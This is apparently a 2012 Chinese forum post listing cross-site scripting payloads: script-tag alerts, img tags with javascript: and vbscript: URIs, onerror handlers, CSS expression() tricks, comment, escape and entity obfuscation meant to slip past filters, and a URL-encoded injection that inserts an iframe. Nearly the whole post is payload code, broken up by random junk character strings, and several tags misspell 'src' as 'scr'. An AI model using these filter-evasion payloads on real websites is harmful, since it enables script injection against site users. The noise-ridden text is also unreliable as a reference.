<script>alert("跨站")</script> (最常用）" p$ b2 n; g! ?* f- k
<img scr=javascript:alert("跨站")></img>
4 }; Q) X" c$ R( g; |% o<img scr="javascript: alert(/跨站/)></img>
8 Y" q+ G" C. w( x<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
5 z. Y* g( _% ?1 `0 W( T3 s2 Y<img scr="#" onerror=alert(/跨站/)></img>
3 h2 i0 }1 @" R( L7 J<img scr="#" style="xss:expression(alert(/xss/));"></img>
9 h. {) m* {" a! `+ \* Y: \<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）2 Q- d& d5 ]6 G; D3 v
<img src=vbscript:msgbox ("xss")></img>! c0 M( e4 D# k
<style> input {left:expression (alert('xss'))}</style>; M$ x( O: c0 g+ s4 y* s
<div style={left:expression (alert('xss'))}></div>. Q! X% s! h9 u; K$ w+ r5 ^: J, D* F
<div style={left:exp/* */ression (alert('xss'))}></div>
. h. F r$ s8 [; C' C2 L/ i<div style={left:\0065\0078ression (alert('xss'))}></div>/ ~ T# \1 }; L o
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div> {# k7 |- f3 R& V5 R7 l6 G; W/ {
unicode <div style="{left:expRessioN (alert('xss'))}">4 G6 ?. O8 A7 E: k% [: n7 _
3 @1 O. Z+ R% w- R4 w3 I* c"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
( u7 m# W* S! ?1 ^# f" G |
发表于 2012-9-15 14:09:13
收藏
支持
反对